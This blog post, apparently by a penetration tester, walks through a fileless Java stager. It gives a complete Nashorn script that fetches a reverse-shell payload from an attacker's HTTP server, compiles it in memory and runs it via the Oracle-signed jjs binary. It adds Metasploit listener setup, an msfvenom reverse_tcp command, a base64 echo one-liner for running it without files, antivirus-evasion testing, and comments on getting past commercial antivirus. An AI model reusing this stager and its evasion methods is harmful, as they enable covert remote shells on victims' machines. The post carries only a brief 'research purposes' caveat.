Java Stager without the Stager

I have been doing a lot of playing with Java recently. In fact, this will be the 3rd blog post in a month.

In this post I sought to merge the two threads and move away from “Java-Stager” to deliver the same payload via Nashorn.

Why bother?

If we revisit the goals of a stager, then you should see why this is significant:

  • Stager is a binary or script which is uploaded to the victim.
  • The stager needs to be benign in general to survive cursory analysis.
  • The stager then downloads the actual payload over HTTP straight into memory where it is hidden from lots of AV solutions.

The technique of hiding in memory is based on the work of James Williams with his “too hot for the Internet” video available here:

https://www.youtube.com/watch?v=BYEbhDXgElQ&t=7s

An AV vendor made a copyright claim which had the video pulled temporarily. Then because of that becoming a much bigger story it currently has 32k views. Which is about 30k more than the next most popular video from this year’s BSides Manchester.

The Stager jar file was a weak point of the Java-Stager post. While that is designed to be a proof of concept. It is true that uploading the jar file to Virus Total would probably see it being killed by AV within a few days.

By the end of this post we will have the functionality of Java Stager where everything pretty much happens in memory, and the “Stager” is now an Oracle signed binary which is part of the Java Runtime Environment.

Nashorn Payload

Now that I have a lovely Nashorn engine to play with I have implemented the same reverse shell over TCP which was given out with Java-Stager:

https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java

The following shows how to achieve the same results using only Nashorn code:

// Change this to point to your host
var host = "http:///";

// Load the NnClassLoader over HTTP 
load(host + "NnClassLoader.js");

// Use NnClassLoader to download Janino and Apache commons over HTTP
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");

// Import all the Objects that we need
var BufferedReader = Java.type("java.io.BufferedReader");
var InputStreamReader = Java.type("java.io.InputStreamReader");
var StringReader = Java.type("java.io.StringReader");
var StringBuffer = Java.type("java.lang.StringBuffer");
var Method = Java.type("java.lang.reflect.Method");
var URL = Java.type("java.net.URL");
var URLConnection = Java.type("java.net.URLConnection");

// Place Java-Stager's Payload.java file at root of web server.
// This code downloads the payload over HTTP
var payloadServer = new URL(host + "Payload.java");
var yc = payloadServer.openConnection();
var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
 
// Read the code into memory in a string
var inputLine;
var payloadCode = new StringBuffer();
while ((inputLine = ins.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
}
// Be tidy and close the input stream.
ins.close();
print("[*] Downloaded payload");

// Compile it using Janino
print("[*] Compiling ....");
var compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
var compiled = compiler.getClassLoader().loadClass("Payload") ;

// Execute "Run" method using reflection
print("[*] Executing ....");
var runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static
runMeth.invoke(null); 

print("[*] Payload, payloading ....");

Hopefully the comments clear up how that works. It basically does this:

  • Download over HTTP the “NnClassLoader.js” library which allows custom class loading.
  • Download the two java libraries required (janino, and commons-compiler). These are required for compilation in memory.
  • Download the payload over HTTP and save it into memory.
  • Compile the payload in memory.
  • Use reflection to execute the “Run” method of the “Payload” object to trigger the payload.

Pretty much the same process as before.

Preparing Attacker’s Server

Start an HTTP listener containing the following files in the web root:

  • NnClassLoader – Available from reference [1]
  • janino-3.0.8.jar – Available from reference [2]
  • commons-compiler-3.0.8.jar – Available from reference [3]
  • java – The same payload I made for Java-Stager works.

Then you start a metasploit multi/handler with the payload set to “generic/shell_reverse_tcp”. With the extra option “set ExitOnSession false” enabled the listener will remain active beyond the first victim connecting back.

Exploiting your victim

Obviously, do not do this on a machine that you are not legally allowed to. This is for research purposes only.

Caveat in mind? Good. All you do is take a copy of the Nashorn payload (shown above) and paste it into a text editor on your “victim”. Then all you need to do is:

  • Set the value of “host” to point to your HTTP listener
  • Save the above to disk as for example “revshell.js”

There are then three ways to run the “revshell.js” using jjs:

# As argument to jjs
jjs path/to/revshell.js

The pros of this is that it is damn easy. To find the cons look at the output Sysinternals process explorer. There you will see that this leaves an obvious path to the payload:

08-jjs-with-file-as-argument

Which isn’t brilliant. The second way is to use “echo” to spoof sending stdin data to the jjs command prompt interface:

# echo spoofing stdin
echo load(“path/to/revshell.js”) | jjs

Looking at process explorer again shows that we have hidden the location of the payload:

09-jjs-using-echo-or-command-prompt-interface

The final method is to just use the command prompt interface and then issue the load command:

# launching jjs as shell and then loading it
jjs
jjs> load(“path/to/revshell.js”)

This again gets a clean looking output from process monitor which isn’t surprising since the last two are equivalent.

Doing it all in memory *

Now these are fine, but you are committing to saving a file on disk. If you want to do it all in memory, then you can:

  • Upload your “revshell.js” to your HTTP listener and then use “load()”.
  • Or paste the program line by line into the command prompt interface.

These both worked for me. But the final way of doing it is to Base64 encode your payload and then paste a 1 liner into jjs to make it work. To keep this as a “no tools on your victim” hack I would suggest using an online encoder for example:

https://www.base64encode.org/

Or you have options in powershell, certutil to encode base64 on Windows, and equivalent options in Linux.

Once you have a base64 encoded version of the payload just paste it into the one liner shown below over “ENCODED_TEXT”:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

This will do it in a one liner in memory. It will execute within the context of a binary signed by Oracle (jjs.exe), and. it will hide the input parameters from Process Explorer on Windows.

* Ok some of it touches disk

Using Systinternals process monitor with the filters set as shown:

10-process-monitor-filters

I discovered that our jjs process (in this case with PID 3504) created some temporary files:

11-jar-cache-files

These are files created by “NnClassLoader”. They are local copies of the two dependencies “janino” and “commons-compiler”. These are NOT malicious and should pass any scrutiny since they are not from nefarious sources.

I think they are an improvement over my PoC Java-Stager which is toasted the second that someone uploads it to Virus total.

Put it together and what have you got?

Here is the Attacker setup and it catching the reverse shell back:

15-Attacker-Listeners.png

Here is the Victim executing the payload using the echo trick with Base64 encoding:

14-Victim-Executing-Nashorn-Stager

So that worked absolutely fine. Bibbity, bobbity, boo!

Trying to trigger AV Alerts

The payload used by Java-Stager and this Nashorn example are currently useful against, I would guess, most Anti-Virus solutions. The reasons being:

  • Most of what they do is in memory, a classic place to hide.
  • The payload has been written by me. The all time most effective AV bypass is to just write your own payload. If the customer’s AV solution has no signature to match against then you will get by long enough to finish up your engagement in most cases.

With those reasons stated I wanted to TRY and trigger an AV response out of a fully up-to-date Microsoft Defender. I hold Defender in high regard personally but that is just an opinion. So lets finish the post by using Eicar to trigger alerts.

Loading Eicar

In my target VM I tried using “load” to obtain a copy of the eicar string:

12-Eicar-download-via-jjs

It downloaded into memory without issue but failed to execute because it isn’t valid JavaScript. No alert was raised, proving that on access scanning failed to find Eicar using in the same place we are hiding our payloads.

To trigger an actual alert because of Eicar I had to use Java to save the string to disk as shown:

13-Writing-Eicar-to-Trigger-Alert

The moment “fw.close()” was called Defender alerted on Eicar as expected.

Once more unto the breach

This is my final check I promise. As I was wrapping this up I thought that the Eicar string is really intended to be a file. It hardly ever gets any scrutiny in memory. It makes sense that it wasn’t caught one way but it was the other.

One final test I generated a straight unencoded payload using msfvenom as shown:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp

Then I downloaded it using the “load” command:

16-msfvenom-asp-shell

Again it wasn’t caught by Defender and again it failed to then execute because it was not a JavaScript file. Not really sure what more I should be doing to try and trigger an alert than trying a pure msfvenom payload.

There you have it. A living off the land binary which you can use to do things merely by copy/paste giving you new options for evading the blue team.

References

[1] https://github.com/NashornTools/NnClassLoader
[2] http://repo1.maven.org/maven2/org/codehaus/janino/janino/
[3] http://repo1.maven.org/maven2/org/codehaus/janino/commons-compiler/

8 Comments

  1. hi thanks for this project but when i try to execute my reverseshell.js with jjs.exe i get this error in compiling revshell.js:21 ReferenceError: “response” is not defined

    1. cornerpirate says:

      Hi @ghstrike,

      Thanks for being the first to actually try it haha! So I clearly messed up pasting the payload back out of my Windows vm. I have updated the version in the post. So if you try a CTRL+F5 you should get the final version of the code.

      It basically does the stream reading into a String.

      Let me know how you get on 😀

      1. first thanks for the quick replay, second the poc is working fine , i wonder how to use this trick to exploit windows targets that java not installed at all lol…thanks

      2. cornerpirate says:

        Yea that is the one limitation really. A version of Java (either JRE or JDK) and newer that Java 7. Fortunately pretty much every organisation that has given me a workstation to test has Java installed.

  2. i test this attack against kaspersky and nod32 i get a shell back but you can’t execute any command from the shell !!

    1. cornerpirate says:

      Some AV/IDS style functions have rules to catch strings in network streams such as “c:\Windows\System32\” or the text which is generally presented in a shell. The PoC was a reverse shell just sharing the input and output streams over the network. When you look at what metasploit is doing it strips the command prompt stuff out.

      For ever:
      Server -> sends command to victim.
      Victim -> executes command and gets text output
      Victim -> sends text output to Server.

      Have you tried just doing a straight nc back to yourself redirecting cmd.exe? I presume these tools will catch that too.

      Implement crypto of the streams and you will *probably* find it isn’t caught. But I am showing how you get a very powerful function in Nashorn which is readily available for abuse.

  3. MK says:

    Hi,bro.Can you show me the bs64 payload and the msfpayload you generated in the title “Put it together and what have you got?
    “?I am a novice in this skill:)

    1. cornerpirate says:

      Take the payload and use the online service I linked to for the base64 encoding. You then put the encoded part into this line where stated:

      echo eval(new java.lang.String(java.util.Base64.decoder.decode(‘ENCODED_TEXT’))); | jjs

      Replace “ENCODED_TEXT” with the base64 string you get.

      For the metasploit part. If you have an exploit which accepts a custom payload which is basically the OS command that you want to use. Then you provide the above “echo” line with the b64 encoded payload inside it to make it all work.

      Does that help?

Leave a reply to alien34 (@ghstrike) Cancel reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.